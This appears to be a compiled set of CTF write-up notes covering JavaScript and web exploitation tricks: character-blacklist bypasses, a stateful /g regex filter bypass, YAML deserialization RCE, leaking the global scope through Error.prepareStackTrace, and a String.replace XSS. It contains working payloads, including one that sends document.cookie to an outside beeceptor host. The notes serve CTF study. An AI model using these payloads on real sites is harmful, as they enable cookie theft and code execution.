Javascript Forbidden Char Bypass
| Event Name | ITSEC CTF 2025 |
| GitHub URL | https://github.com/ITSEC-ASIA-ID/2025-ITSEC-Asia-Summit-Public |
| Challenge Name | Damn, I Love PHP! |
| Solves |
Attachments
Bypass forbidden characters in Javascript when special characters are blacklisted.
Solver
Forbidden Characters:
$forbidden = ['\\','<','>','`','~','(',')',',','+','-','/','*','^','|','&','!','?',':',';','.'];
Bypass Method 1: Using instanceof and array syntax
3 instanceof [document['body']['innerHTML']=location['hash']][document['body']['innerHTML']=document['body']['innerText']]#<img/src="x"/onerror=fetch('https://waefawe.free.beeceptor.com/?c='+document.cookie)>
Bypass Method 2: Using Symbol.hasInstance
3[o={}] in [o[Symbol['hasInstance']] = eval]["PAYLOAD" instanceof o]
Flag
Regex with Option /g Bypass
| Event Name | SEETF 2023 |
| GitHub URL | https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/ezxxe |
| Challenge Name | ezxxe |
| Solves |
Attachments
References
When a regex has the global flag set, test() will advance the lastIndex of the regex. Further calls to test(str) will resume searching str starting from lastIndex. The lastIndex property will continue to increase each time test() returns true.
Solver
Vulnerable Code:
const removePigeonsWithFlag = (pigeons) => {
const flagRegex = /SEE{\w{60}}/ig
let cleanPigeons = []
for (const pigeon of pigeons) {
if (
!flagRegex.test(pigeon.name) &&
!flagRegex.test(pigeon.image) &&
!flagRegex.test(pigeon.description) &&
!flagRegex.test(pigeon.website)
)
cleanPigeons.push(pigeon)
}
return cleanPigeons
}
Exploitation: The regex with /g flag maintains state between tests, allowing bypass by splitting the flag across multiple fields.
Flag
YAML Deserialization RCE
| Event Name | HITCON CTF 2023 |
| GitHub URL | https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Login%20System |
| Challenge Name | Login System |
| Solves |
Attachments
References
Chaining YAML deserialization with JSON injection for RCE via malicious toString function.
Solver
You will need to use the json injection bug twice:
privilegeLevel being { toString: !!js/function "..." }. Since Node.js requires .yaml extension, set username to ???.yaml\x00 causing Nim to null truncate the saved filename to ???.yaml.privilegeLevel being a path traversal payload to the YAML from above (../../../users/...). Once you login with the second user, code execution triggers when visiting /profile as EJS triggers toString.Flag
Leaking Global (this) via Error
| Event Name | HITCON CTF 2023 |
| GitHub URL | https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Canvas |
| Challenge Name | Canvas |
| Solves |
Attachments
References
Leak global scope by manipulating Error.prepareStackTrace to access stack frames.
Solver
Method 1:
try {
null.f();
} catch (e) {
TypeError = e.constructor;
}
Error = TypeError.prototype.__proto__.constructor;
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace;
try {
null.f();
} catch (e) {
g = e.stack[0];
console.log(g);
}
Method 2 (Throwing stack):
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Error = TypeError.prototype.__proto__.constructor;
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace;
try{
null.f();
} catch(e) {
const g = e.stack;
if (g) { throw { message: g } };
}
Flag
String.replace / replaceAll Bypass
| Event Name | pingCTF 2023 |
| GitHub URL | - |
| Challenge Name | i-see-no-vulnerability-fixed |
| Solves |
Attachments
References
Exploit special character $ in replace() which allows referencing the replacer in the replacee.
Solver
The special character $ is used which allows to reference the replacer in the replacee. When the body is not closed, we can inject HTML.
Payload:
$' a='<a href="'><img src=a onerror=alert(2)>">asd</a>
Flag
Lack of Computed Key Validation
| Event Name | - |
| GitHub URL | https://gist.github.com/egonny/4dbf5151f99059ae58cf9390c7cc3830 |
| Challenge Name | - |
| Solves |
Attachments
Exploit lack of validation of "computed" key in MemberExpression checker which allows Math.E and Math[E] expressions.
Solver
Strings can also be created using global x variable which was created by <a id="x"> HTML code.